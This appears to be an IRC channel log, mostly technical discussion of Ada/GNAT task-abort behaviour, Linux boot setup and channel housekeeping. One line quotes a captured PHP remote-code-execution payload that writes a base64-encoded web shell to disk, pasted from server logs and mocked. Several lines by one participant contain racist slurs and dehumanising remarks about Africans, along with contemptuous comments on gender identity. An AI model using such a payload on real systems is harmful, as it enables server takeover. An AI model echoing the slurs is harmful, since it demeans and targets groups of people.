1895008;1549858469;BingoBoingo;ty, fxd 1895009;1549858992;BingoBoingo;Comment replied to as well 1895010;1549860903;feedbot;http://bimbo.club/2019/02/i-got-99-problems/ << Bimbo.Club -- I got 99 problems. 1895011;1549868945;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1716-part-i/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1716. - Part I. 1895012;1549871253;diana_coman;http://btcbase.org/log/2019-02-11#1894896 -> ha, apparently you caught old hosting precisely when they messed up; thank you for reporting it, I'll have to sort it out (I had redirection set up from dianacoman->ossasepia since I'm sure it's not only my internal links but atm it's broken, will fix) 1895013;1549871253;a111;Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance. 1895014;1549881547;auctionbot;Buy order # 1040 has ENDED: 500 Wired Filthy Fiats (WU is fine) SOLD by jurov for 154mn ecu. Attn: BingoBoingo 1895015;1549894476;phf;i saw the x11 thread, will respond in a day or two once i'm on a more reliable internet 1895016;1549897774;asciilifeform;phf et al : 1 of asciilifeform's ancient backburner crackpotteries is... an iron x terminal. ( these -- existed, but would be imho useful to have a proper one, that 1) runs off rom 2) can drive N large displays ) 1895017;1549897814;asciilifeform;i.e. fully an' properly separate rasterism from the comp per se, never buy video cards again.. 1895018;1549897839;asciilifeform;imho the traditional kitchen-toilet system is inherently unhygienic 1895019;1549898901;asciilifeform;diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat 1895020;1549900431;mircea_popescu;asciilifeform much later tho 1895021;1549901802;mircea_popescu;meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true 1895022;1549901802;a111;Logged on 2018-08-01 03:07 douchebag: Also the security firm I'm working on is expected to pull at least a half million dollars by december 1895023;1549902470;mircea_popescu;bonus securities : http://p.bvulpes.com/pastes/1N8AA/?raw=true 1895024;1549902498;BingoBoingo;Ah, they never end 1895025;1549902756;mircea_popescu;meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115 1895026;1549903040;asciilifeform;guten morgen mircea_popescu ! 1895027;1549903093;mircea_popescu;heya 1895028;1549903100;asciilifeform;http://btcbase.org/log/2019-02-11#1895021 << i saw nearly half MB of these in dulap log not long ago. iirc they're pill for ciscoisms 1895029;1549903100;a111;Logged on 2019-02-11 16:16 mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true 1895030;1549903161;asciilifeform;http://btcbase.org/log/2019-02-11#1895025 << ha. speaking of which, the particle thrower is to arrive today. 1895031;1549903161;a111;Logged on 2019-02-11 16:32 mircea_popescu: meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115 1895032;1549903225;asciilifeform;will prolly take asciilifeform a coupla days to hoist it on the pedestal and test, tho, conveyor is currently packed 1895033;1549903262;mircea_popescu;aha. 1895034;1549903286;asciilifeform;s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy 1895035;1549903312;mircea_popescu;you know ? VERY much an exercise in http://btcbase.org/log/2017-07-18#1686299 1895036;1549903312;a111;Logged on 2017-07-18 22:58 asciilifeform: whaack is quite likely thinking of the bulk of the b00k, which consists of blockcipher liquishit which is complicated for no reason at all other than the religion where 'it is confusing to ME, author, and therefore Must Be Hard To Break' 1895037;1549903321;mircea_popescu;"i feel this is security-flavoured!" 1895038;1549903333;asciilifeform;payload, btw, is CnluXun 1895039;1549903338;asciilifeform;fwiw. 1895040;1549903344;mircea_popescu;longer more complex incantation has better chances at communing with the spirit. 1895041;1549903374;asciilifeform;it's a snoar, straight trigger for pre-emplaced booby, decorated to get past some idjit ids thing somewhere 1895042;1549903377;mircea_popescu;a LARGE portion of why "computer security" is SUCH a popular activity has to do with the profoundly african mentality of most... well, africans, to put it plainly. 1895043;1549903391;mircea_popescu;"you mean i have to sit by magic stone all day come up with incantations ? SIGN ME UO!!!" 1895044;1549903410;asciilifeform;mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will 1895045;1549903424;asciilifeform;erry bit equally african. 1895046;1549903464;mircea_popescu;aha. but they're both very... well, in Mr. Oover's terms, [http://trilema.com/2017/zuleika-dobson-or-an-proper-love-story/#selection-2781.756-2781.784][not white men]. 1895047;1549903664;asciilifeform;white man, if legend is to be believed, built the temple walls , but in living memory nobody's seen'em beneath the monkey shit. 1895048;1549903703;asciilifeform;( if one were to ask monkey -- it's shit allthewaydown(tm) ) 1895049;1549904488;mircea_popescu;white man also didn't build straw & cardbox airplanes. 1895050;1549904837;asciilifeform;speaking of these -- did anybody ever properly catalogue all known various attempts to 'replicate daedalus' ? 1895051;1549904845;asciilifeform;y'know, where derp jumps from belltower with 'wings' 1895052;1549904883;mircea_popescu;you want a list of all the urban sidewalk pizza ? 1895053;1549904914;asciilifeform;specifically-'flight'-flavoured 1895054;1549904937;asciilifeform;i dun think there were that many recorded ( can only think of 2 right off memory ) 1895055;1549905140;asciilifeform;!#s холоп Никита 1895056;1549905140;a111;0 results for "холоп Никита", http://btcbase.org/log-search?q=%D1%85%D0%BE%D0%BB%D0%BE%D0%BF%20%D0%9D%D0%B8%D0%BA%D0%B8%D1%82%D0%B0 1895057;1549905144;asciilifeform;hrm, apparently not in l0gz. 1895058;1549905195;asciilifeform;16th c. 1895059;1549905219;asciilifeform;supposedly didn't even splat. coupla would-be imitators (as late as 18th) did, tho 1895060;1549905268;asciilifeform;( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason ) 1895061;1549905387;mats;http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz 1895062;1549905387;a111;Logged on 2018-11-27 21:18 mircea_popescu: Transcript for #bitcoin-otc 2018/11/27 IRC logs have been disabled due to the EU General Data Protection Regulation (GDPR). © 2010 — 2018 BitcoinStats 1895063;1549905427;asciilifeform;in 'nikita the peon' incident, is remembered largely because, per the chronicle, ivan iv was present, and clapped, but proclaimed 'it is unbecoming of man to imitate the birds' 1895064;1549905450;*;asciilifeform brb, the crane truck is here 1895065;1549905476;mircea_popescu;mats now if you could devise some method to film alf for the next coupla hours... 1895066;1549906046;asciilifeform;aaand it's done. 1895067;1549906053;asciilifeform;lol 1895068;1549906115;asciilifeform;mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane 1895069;1549906128;mircea_popescu;there's always next time. 1895070;1549906227;asciilifeform;mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing 1895071;1549906435;asciilifeform;https://archive.is/MjEpi << dealer specs, ftr 1895072;1549906484;asciilifeform;i dun have the ccd option tho, for some reason these cost weight in gold 1895073;1549906546;asciilifeform;( as it was -- coupla hundy, + same for the trucker's fee ) 1895074;1549906590;asciilifeform;iirc most of the mass is pb in the cabinet. 1895075;1549907076;asciilifeform;shinohai: lost yer key or wat ..? 1895076;1549907457;shinohai;Nah why u ask ? 1895077;1549907971;asciilifeform;* shinohai is now known as derp 1895078;1549907971;asciilifeform;* derp is now known as shinohai 1895079;1549907972;asciilifeform;? 1895080;1549908011;asciilifeform;'mmmmrrrghmmmm!!' 'are you sucking on a gag??' 'nah why didjaask' 1895081;1549908084;shinohai;oh that .... I'm doing some bot testing. 1895082;1549908092;asciilifeform;lolk 1895083;1549912749;feedbot;http://qntra.net/2019/02/british-mum-arrested-at-home-for-gendering-fellow-online/ << Qntra -- British Mum Arrested At Home For Gendering Fellow Online 1895084;1549913136;trinque;deadnaming eh. there's a new one for me. 1895085;1549913287;trinque;curious things, these factual realities that evaporate the moment random bum says otherwise. 1895086;1549913364;BingoBoingo;Notice I didn't use the Pantsuit term. If anything we ought to preserve 'deadnaming' in our namespace for characters like bitcoin_charlie, Nefario, Taaki, Toomim, et al. Actual dead names whether or not the corresponding meat recieves oxygen. 1895087;1549913441;trinque;republic already had it, as "damnatio memoriae" 1895088;1549913474;BingoBoingo;Still, there's a benefit in having synonyms to erode their namespace 1895089;1549913487;*;trinque grants 1895090;1549913676;BingoBoingo;So long as there is resistance to what Pantsuit means by deadnaming and clarity as to what the Republic means, they gotta expend some of their infinite hitpoints of idiocy fighting the sorts of socialists like Anglin who want a different sort of socialist femstate 1895091;1549916799;shinohai;http://btcbase.org/log/2019-02-11#1895061 <<< Ya know, I was gonna delete those out of uploads folder, but considering they might be useful for historical purposes I'll save them to http://btcinfo.sdf.org/library/ 1895092;1549916799;a111;Logged on 2019-02-11 17:16 mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz 1895093;1549916838;shinohai;(I also have copy of all those gpg keys I scraped from tardstalk too) 1895094;1549917327;asciilifeform;lol i took a look at these, whole parallel world where '2011 4evah' 1895095;1549917382;asciilifeform;whole battalion of derps fighting over pocket change, bloviating over 'security' and 'p2p', etc 1895096;1549917494;asciilifeform;shinohai: mirrored nao at dulap, http://nosuchlabs.com/pub/liquishit/btcotclogs.tar.gz . 1895097;1549917559;shinohai;sweet. 1895098;1549921216;jurov;BingoBoingo: pls pgp me the wire details 1895099;1549925990;BingoBoingo;jurov: http://p.bvulpes.com/pastes/w47qv/?raw=true 1895100;1549926027;BingoBoingo;Yes account number is relatively short. This is a small country with few accounts to fill the account number space. 1895101;1549932566;BingoBoingo;trinque: deedbot appears down 1895102;1549933513;asciilifeform;diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below : 1895103;1549933534;asciilifeform;sooo went to experiment, and found that not only does diana_coman's async abort dunwork on ave1gnat , but even ordinary timeout abort behaves peculiarly (per the std) : 1895104;1549933554;asciilifeform;http://p.bvulpes.com/pastes/WoRXQ/?raw=true << empty loop. timeout : fails 1895105;1549933582;asciilifeform;http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds 1895106;1549933620;asciilifeform;so then went to the standard docs. annex D ~in fact does~ mandate support for mircea_popescu-style 'halon switch, motherfucker' aborts. so then went to find , does gnat implement ? 1895107;1549933750;asciilifeform;turns out that yes implements: 1895108;1549934074;asciilifeform;ln. 163 of [http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/s-tasini__adb.htm][s-tasini.adb] ; 1895109;1549934112;asciilifeform;and in particular, ln. 1079 of [http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/s-taprop-linux__adb.htm][s-taprop-linux.adb] , which implements the pthread mechanics behind the gnat scheduler 1895110;1549934171;asciilifeform;nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf 1895111;1549934203;asciilifeform;currently i suspect that adacorpse deliberately broke it, this is ~the~ pheature they use to peddle their 'pro' gnat (specifically advertised as 'support of real-time annex' ) 1895112;1549934285;asciilifeform;diana_coman et al : meanwhile in useful debugologies : if you use [http://p.bvulpes.com/pastes/dVIY9/?raw=true][gpr with gnatD flag] , you get copies of the expanded sores of yer proggy 1895113;1549934369;asciilifeform;http://p.bvulpes.com/pastes/AOh7Z/?raw=true << example. 1895114;1549934436;asciilifeform;nao ideally would find where the fuck they broke the (implemented!!! in gnat) annex D Right Thing 1895115;1549934498;asciilifeform;http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/index.htm << linked for the log. cross-indexing dunwork currently, as the damn thing aint a gpr project, but currently i dun have time to try to massage it into one , promises to be a week-long shitfest on its own 1895116;1549934662;asciilifeform;i'ma post moar detail as i find it, gotta recharge head 1st. 1895117;1549934735;asciilifeform;it may even be worth the sweat to excavate an older gnat and see whether similar. 1895118;1549934753;asciilifeform;i suspect this is gonna be a '1-line' patch, to fix. q is where.. 1895119;1549934790;asciilifeform;( the thing ~contains~ pthread_kill ! but it dun get called for somereason. ) 1895120;1549935087;asciilifeform;relatedly to entire subj, http://nosuchlabs.com/pub/warez/burns.djvu is the most readable ref i've found on the subj (of how the thing is supposed to work, that is , when actually worx ) 1895121;1549935114;asciilifeform;( burns & wellings, '07 ) 1895122;1549935132;asciilifeform;specifically ch. 9. 1895123;1549935259;asciilifeform;for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask. 1895124;1549935452;*;asciilifeform will return to this puzzler when returns. 1895125;1549936110;asciilifeform;hrm, also gotta add -- if the delay-powered self-destruct is made to work, then so will async killing (given as it dun have to be 'delay', can be triggered by 'entry', i.e. flag, just the same ) 1895126;1549936122;*;asciilifeform bbl,meats 1895127;1549936173;mod6;http://btcbase.org/log/2019-02-11#1894987 << no prob! 1895128;1549936173;a111;Logged on 2019-02-11 03:15 asciilifeform: http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise 1895129;1549936298;mod6;http://btcbase.org/log/2019-02-11#1894999 << This is actually one thing that I have not tried, I had previously done it both ways with root & boot, as /dev/sda & /dev/sda3 respectively, and with UUIDs. However, this line in particular: 'append="root=/dev/sda3 console=ttyS0,115200n8 net.ifnames=0"' I should try the UUID with instead of /dev/sda3. 1895130;1549936298;a111;Logged on 2019-02-11 03:53 trinque: yeah, I'm specifying root=/dev/sda3 in lilo; whereas if I specified root=UUID=D9FCABCA-1F52-4A84-9CB8-4898F8DEC6AE, oughta be able to boot properly even if drive enumeration changes. that'd be nice for the infectious/reproductive angle later. 1895131;1549936326;mod6;(and the others with UUIDs at the same time. Who knows, maybe that's the thing. I'll try to setup tonight for another build.) 1895132;1549936406;mod6;http://btcbase.org/log/2019-02-11#1895003 << re: So I didn't ever use a USB boot disk, I actually was just using the Live CD to do the chrooting/troubleshooting. But I did the `./bootstrap.sh` from the working gentoo environment. 1895133;1549936406;a111;Logged on 2019-02-11 03:56 trinque: if it's the case that he left it as an external usb disk, looks like kernel didn't know the disk was there, so the kernel he builds would have to know of the usb chip he has. 1895134;1549936469;mod6;The other weird thing is that 'usb hub' as shown in the kernel.debug file. I do own a USB hub, as I bought one to test multiple FGs at the same time, but it's been just sitting on my desk for weeks. 1895135;1549936529;mod6;It's strange because this particular box has like 10 USB ports on it. 2 in the front of the chassis, and like 8 in the back. I wonder if it's like a special add-on thing, I was going to take some pictures for you all, but I need to get down there and do that yet tonight. 1895136;1549936556;mod6;Anyway, 'tis all for now, thanks for the info. 1895137;1549936888;asciilifeform;mod6: all known usb chipsets have 'internal hub' 1895138;1549936901;asciilifeform;it's how the thing fans out to N jacks 1895139;1549937333;trinque;yep, ^ is what I meant by usb hub 1895140;1549937413;trinque;there's of course a chip on your motherboard which wants its own driver 1895141;1549940630;mod6;Alright, well if the pictures are unnecessary, will just skip that part. About to hook up that 250Gb Disk to SATA2 and inflate a fresh cunt(oo) on there. 1895142;1549940742;Mocky;http://btcbase.org/log/2019-02-11#1894983 << I'm gonna reorder my list and move to wp first 1895143;1549940742;a111;Logged on 2019-02-11 03:03 mircea_popescu: IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!! 1895144;1549941037;mod6;ok CDROM power & SATA cable unplugged from SATA channel 2, and plugged into 250Gb WD SSD. 1895145;1549941051;mod6;Booted back into Gentoo on SATA channel 1. 1895146;1549941069;mod6;Will kick off the bootstrap.sh shortly. 1895147;1549941930;mod6;http://p.bvulpes.com/pastes/JvAuR/?raw=true << Ok, zero'ing out /dev/sdb with 'dd', will run installer after that's complete. 1895148;1549943354;mircea_popescu;http://btcbase.org/log/2019-02-11#1895085 << england's such a shithole by now, it's inconceivable man would visit without machine guns. 1895149;1549943354;a111;Logged on 2019-02-11 19:28 trinque: curious things, these factual realities that evaporate the moment random bum says otherwise. 1895150;1549943373;mircea_popescu;much more sensible to vacation in somalia, at least the niggers there are respectful. 1895151;1549943433;mircea_popescu;http://btcbase.org/log/2019-02-11#1895093 yep, that was precisely my ref when looking at Ada multi-threading and what support it offers; it actually reads a bit better than the barnes' progr in 2012 but it's more focused, obv 1895199;1549958442;a111;Logged on 2019-02-12 01:31 asciilifeform: relatedly to entire subj, http://nosuchlabs.com/pub/warez/burns.djvu is the most readable ref i've found on the subj (of how the thing is supposed to work, that is , when actually worx ) 1895200;1549959205;diana_coman;hm, asciilifeform from what I see at a quick glance in that s-taprop-linux__adb it actually calls pthread_kill ONLY if "abort_handler_installed" and that in turn seems set only if not some default state ? might be a clue to follow perhaps, I haven't dug much deeper yet 1895201;1549975055;mircea_popescu;diana_coman is this abort-handler something you can define from within your proggy ? 1895202;1549975137;mircea_popescu;meanwhile at the ~angry~ retard farms, moedirtcircle 26F Primal Prey 4h It Literatly only says "not even kidding" thats it. And I'm the one thats failing 😒😒😒😒 get that stick from up your ass and be nicer to people YOU message. Fuck off dipshit. moedirtcircle 26F Primal Prey 4h Damn I finally just seen your profile. You Literatly have no looks going for you. And not intelligence either, or compassion. Have fun wit 1895203;1549975137;mircea_popescu;h that que the eye roll 1895204;1549975168;mircea_popescu;evidently florrie gave our pal jack keefe some daughters, too. left-handed, to boot. 1895205;1549975218;mircea_popescu;(needless to say, literatly chick also fat as all get-out, but by then one pretty much expects the whole triad.) 1895206;1549976513;diana_coman;mircea_popescu, my hope is that maybe there is some flag or option that sets it; I'll have to dig deeper to find out exactly 1895207;1549976538;diana_coman;!!up bvt 1895208;1549976538;deedbot;bvt voiced for 30 minutes. 1895209;1549976608;diana_coman;bvt's investigation of my ada-won-t-stop test program: http://p.bvulpes.com/pastes/sRqWV/?raw=true 1895210;1549976640;mircea_popescu;is there anything like c's "signal(value, pointer)" in ada ? 1895211;1549976724;diana_coman;"More precisely, one of the issues seems to be that abort seems to be delivered to the child thread after the check for 'thread aborted' has already been done:" -> this ftr is NOT an issue; if only it were delivered and worked afterwards but it's not; that check is just testing stuff, the more important check is that program hangs 1895212;1549976770;mircea_popescu;bvt did you manage to lose your key or something ? 1895213;1549976775;bvt;hello, thanks for voice 1895214;1549976801;bvt;not really, just writing from the salt mine. 1895215;1549976807;diana_coman;mircea_popescu, I'm not aware of anything directly equivalent 1895216;1549976815;mircea_popescu;kk. 1895217;1549976837;mircea_popescu;bvt that's a good point actually, the check comes too late in the current implementation. 1895218;1549976874;mircea_popescu;you know, it'd be grand if this were a blog article rather than a pastebin. odds are ima want to reference it later, and as a factual matter i want ot reference "More precisely, one of the issues seems to be that abort seems to be delivered to the child thread after the check for 'thread aborted' has already been done" specifically even now. 1895219;1549976897;diana_coman;mircea_popescu, the check is in the TEST code 1895220;1549976907;mircea_popescu;yes. 1895221;1549976908;bvt;diana_coman: i agree; in the abort signal handler, there is a snippet of code that ignores the signal (given ZXC exception handling model). 1895222;1549976917;diana_coman;i.e. if anything, you can say that my test code should wait a bit and then check 1895223;1549976939;diana_coman;but ftr when a task is not in this sort of "can't hear you la la", there's no need for any wait, no 1895224;1549976963;mircea_popescu;right. besideswhich we can't go about inserting random numbers in code now. 1895225;1549976986;bvt;mircea_popescu: i will become blog post, but when i get to the home machine. 1895226;1549976990;mircea_popescu;kk 1895227;1549976998;diana_coman;I suppose so far the options seem to be 1. maybe there's a way to actually make it choose the sane abort model 2. change the idiotic "ignore the signal" part 1895228;1549977038;mircea_popescu;diana_coman it looks like we'll end up with a patched tmsr-gnat. 1895229;1549977060;mircea_popescu;and if we're forking, we'll prolly also rename it. pending results of http://btcbase.org/log/2019-02-12#1895163 1895230;1549977060;a111;Logged on 2019-02-12 03:54 mircea_popescu: that's the fucking cost of being a raging asshole., 1895231;1549977171;bvt;during the gnat build, the sjlj runtime is built, so it should be possible to switch to it and test. 1895232;1549977245;mircea_popescu;i thought it actually did dwarf 1895233;1549977266;mircea_popescu;wasn't the long jump thing slower ~generally~ ? 1895234;1549977518;bvt;i expect it will be slower, but it won't hurt to do the check. the impact will depend on how exceptions are used (i don't think it can have any impact on ffa, for example). but i don't have enough experience with it to provide any numbers 1895235;1549977770;diana_coman;from the horse's mouth at https://docs.adacore.com/gnat_ugn-docs/html/gnat_ugn/gnat_ugn/platform_specific_information.html : "the zcx run-time does not support asynchronous abort of tasks (abort and select-then-abort constructs) and will instead implement abort by polling points in the runtime. You can add additional polling points explicitly if needed in your application via pragma Abort_Defer." 1895236;1549977876;*;diana_coman goes to test with --RTS=sjlj, can't hurt 1895237;1549977879;jurov;!!v 6F70B7BAA2A04B0A47AA67E86022A8C20D2A8A1452414178CAA3809127741859 1895238;1549977883;deedbot;Invoiced BingoBoingo 0.154 << 500$ wire - order 1040 1895239;1549977890;jurov;^ wire sent 1895240;1549978274;diana_coman;confirmed: with --RTS=sjlj, it does the right thing and actually aborts 1895241;1549978331;diana_coman;although indeed, in this case the check on the tasks' status is too early so not of much use 1895242;1549978349;diana_coman;!!up bvt 1895243;1549978350;deedbot;bvt voiced for 30 minutes. 1895244;1549978603;mircea_popescu;bvt pretty sure the problem with sjlj is that it significantly slows down all code execution, even on code that raises no exceptions. 1895245;1549978616;mircea_popescu;but yes, it can't hurt anything to run it once see what happens. 1895246;1549978633;mircea_popescu;just, i don't think it can be whipped into a workable exception handling mechanism. 1895247;1549978715;diana_coman;myeah, sjlj is going to be slower; onth now I don't quite get it WHY is ZCX not able to support async abort 1895248;1549978736;mircea_popescu;diana_coman this is so fucking retarded, "our thing does not implement the standard". RATIONALE ? 1895249;1549978778;mircea_popescu;so basically, gnat runtime needs an hero to implement dwarf-3 for it, ditch this entire "zcx" nonsense nobody heard about (and apparently for good fucking reason, it's made for z80s or something) 1895250;1549978800;mircea_popescu;diana_coman possibly because of how they do that binder table bs 1895251;1549978840;diana_coman;it kind of has to be but really, as you just said: wtf if it breaks the standard 1895252;1549978856;mircea_popescu;diana_coman what happens if you actually put a pragma Abort_Defer in the loop ? 1895253;1549978889;diana_coman;I read a bit on that and it seems to me that it is meant to actually add ANOTHER "won't abort here" point so I don't quite see it; but yes, I'll try it anyway 1895254;1549978892;mircea_popescu;(i expect it will stop, yes ; but the q is, even slower than good old sjlj perhaps ?) 1895255;1549978900;diana_coman;not even sure it will; brb 1895256;1549978912;mircea_popescu;i thought it adds an abort polling point. 1895257;1549978999;diana_coman;that's how it sounds from adacore's link; then again the description of the pragma in gnat ref manual is "it has the effect of deferring aborts for the sequence of statements (but not for the declarations or handlers, if any, associated with this statement sequence). 1895258;1549979005;mircea_popescu;http://dwarfstd.org/Dwarf3Std.php << for thread completness 1895259;1549979067;mircea_popescu;of course, that's when they moved to unicode. but if memory serves, dwarf2 was kinda braindamaged in some corner cases i now don't recall. 1895260;1549979072;mircea_popescu;motherfucker. 1895261;1549979143;*;mircea_popescu adds http://dwarfstd.org/doc/dwarf.v2.mm http://dwarfstd.org/doc/index.v2.mm to teh log. 1895262;1549979152;diana_coman;nope, pragma abort_defer doesn't help (it has to be outside loop because it's not accepted anywhere other than immediately after begin and program is stuck just the same) 1895263;1549979208;mircea_popescu;phesf 1895264;1549979557;mircea_popescu;diana_coman do you have a non-trivial (non-huge) ada that you could run once with sjlj and once with zcx in a timing harness so we can get some data ? ideally something that takes 100-1000ms or so. 1895265;1549979591;mircea_popescu;ffa eminently bad for this, cuz of all the ct stuff. 1895266;1549979646;diana_coman;hm, it's all about what the task does so I suppose it's enough to plonk in there some rsa ops 1895267;1549979670;diana_coman;basically those would take long enough 1895268;1549979717;diana_coman;i.e. possibly some of eucrypt's tests 1895269;1549979766;diana_coman;but hm, the underlying stuff that takes most time is the mpi c/cpp anyway 1895270;1549979778;*;diana_coman goes to look at serpent maybe 1895271;1549980309;mircea_popescu;wrap it in a few for and if clauses, something like like for( a = 1; a < 100; a = a + 1 ){ if a is even then for( b = 1; b < 100; b = b + 1 ){ ... collector = serpent(collector) }}} 1895272;1549980317;diana_coman;mircea_popescu, eucrypt's test on Serpent seem good candidates as one can even adjust how many iterations to do if you want some specific time intervals; current full test of the serpent module (including i/o because of using test vectors in file) is reported by time at ~2.3s without sjlj; this has no tasks/exceptions as such;thing is: time is not extremely precise but I could run I suppose some 1k times and see 1895273;1549980354;diana_coman;time real above (sys is 0.015) 1895274;1549980365;mircea_popescu;right, something like the above, has buncha branches and iterators, not hard to write, get it to run 1k times or so and lessee. 1895275;1549980385;mircea_popescu;50 + 50 + 50 by the time you've used 20 letters you got the k. 1895276;1549980386;diana_coman;I don't quite get the branches and iterators aka what exactly do you want in there? 1895277;1549980406;mircea_popescu;diana_coman does the example not make sense ? 1895278;1549980435;diana_coman;what's the collector in there? 1895279;1549980453;mircea_popescu;a thing you keep re-serpenting. 64 bit string, w/e, starts as null 1895280;1549980463;diana_coman;ah, can do, yes 1895281;1549980478;mircea_popescu;have it print time begin and end, and there we go. 1895282;1549980585;*;asciilifeform eats log.. 1895283;1549980745;asciilifeform;http://btcbase.org/log/2019-02-12#1895209 << i saw similar, but did not find why. loox like it's explained downthread 1895284;1549980745;a111;Logged on 2019-02-12 13:03 diana_coman: bvt's investigation of my ada-won-t-stop test program: http://p.bvulpes.com/pastes/sRqWV/?raw=true 1895285;1549980784;mircea_popescu;fucking lulz of all time. zcx : zero cost exceptions!!! it's like the zero cost restaurant : you don't have to pay anything and htey don't give you any food. 1895286;1549980810;mircea_popescu;"we manage to provide zero cost exceptions to the user's environment through the simple procedure of just not handling any" 1895287;1549980839;asciilifeform;http://btcbase.org/log/2019-02-12#1895234 << ffa uses exceptions strictly as 'fucking stop whole program (and if it's running on a micro, whole machine, and flash 'dead!' lamp) right nao!' , so won't impact. my understanding is that it'd impact only speed of the ~exceptions~, longjump is slower cuz it crosses pages -- cachaistically. 1895288;1549980839;a111;Logged on 2019-02-12 13:18 bvt: i expect it will be slower, but it won't hurt to do the check. the impact will depend on how exceptions are used (i don't think it can have any impact on ffa, for example). but i don't have enough experience with it to provide any numbers 1895289;1549980847;asciilifeform;*cacheistically 1895290;1549980864;mircea_popescu;asciilifeform afaik it actually slows down everything, exceptions or not. because jumps are slow. 1895291;1549980873;asciilifeform;gotta test 1895292;1549980899;mircea_popescu;this is what i was coming to : do you have a better approach to evaluating the putative sjlj runtime cost than the above thing diana's implementing nao ? 1895293;1549980906;asciilifeform;btw this is why i sewed ffa into a linkable lib. ~it~ can still be built with restrictions even if running inside a proggy with tasks etc 1895294;1549980992;asciilifeform;mircea_popescu: still eating log, not yet seen what diana_coman is baking 1895295;1549980996;mircea_popescu;kk. 1895296;1549981109;mircea_popescu;ima brb make some zero cost public services. like the zero cost garbage pickup, and the zero cost hospital, and so on. 1895297;1549981117;asciilifeform;lol 1895298;1549981137;mircea_popescu;enjoy our zero cost health services from the confort of your own home! 1895299;1549981142;asciilifeform;mircea_popescu: 'abort point' control transfer aint 'zero cost', lol, it adds cost to ~loops~ 1895300;1549981150;mircea_popescu;also dun work. 1895301;1549981208;asciilifeform;mircea_popescu: it only worx if you http://btcbase.org/log/2019-02-12#1895105 (i.e. add a 'delay' or i/o instruction (interestingly, the latter always work as abort-point , but only for the async select method ) 1895302;1549981208;a111;Logged on 2019-02-12 01:06 asciilifeform: http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds 1895303;1549981237;asciilifeform;inside the loop, that is 1895304;1549981250;mircea_popescu;problem is you can't put a delay 0 ~inside~ the only thing we fear, which is unix peripheral calls. 1895305;1549981262;asciilifeform;ah no, ~those~ work for async-select 1895306;1549981266;asciilifeform;interestingly 1895307;1549981289;asciilifeform;gnat seems to add a stop point when you invoke those 1895308;1549981333;asciilifeform;the 1 thing that you can't async-stop in the zxc model, looks like, is a straight loop with no i/o 1895309;1549981362;mircea_popescu;hm 1895310;1549981374;asciilifeform;( the idea is, i suspect, that if you have one of ~these~, you fucked yer own proggy at time of writing ) 1895311;1549981405;diana_coman;asciilifeform, it works aka you checked that it was *blocked* on that i/o when it got aborted? 1895312;1549981411;mircea_popescu;you know ? 1895313;1549981445;asciilifeform;diana_coman: correct, if you throw e.g. a put_line in there, the async select worx (from which you can then abort) 1895314;1549981460;diana_coman;but put_line doesn't block, no? 1895315;1549981472;asciilifeform;it blocks (for short time) 1895316;1549981478;diana_coman;ugh 1895317;1549981488;asciilifeform;but that actually makes an abort point 1895318;1549981499;asciilifeform;err, an async-select control transfer point 1895319;1549981517;asciilifeform;(i.e. delay-abort test worx from it) 1895320;1549981519;diana_coman;so hm, if you have a put_line and then the infinite loop, does that still work? 1895321;1549981528;mircea_popescu;nah, we need to test this properly, with a macroscopically blocking item 1895322;1549981558;asciilifeform;diana_coman: specifically http://btcbase.org/log/2019-02-12#1895105 1895323;1549981558;a111;Logged on 2019-02-12 01:06 asciilifeform: http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds 1895324;1549981558;diana_coman;certainly, but I'm kind of suspicious that it actually works anyway 1895325;1549981592;asciilifeform;i think mircea_popescu is suggesting to try with ~input~ block 1895326;1549981596;mircea_popescu;asciilifeform here's a thought : fuck a peripheral so as per http://btcbase.org/log/2019-02-10#1894696 it zombies all it touches ; THEN have an ada prog touch 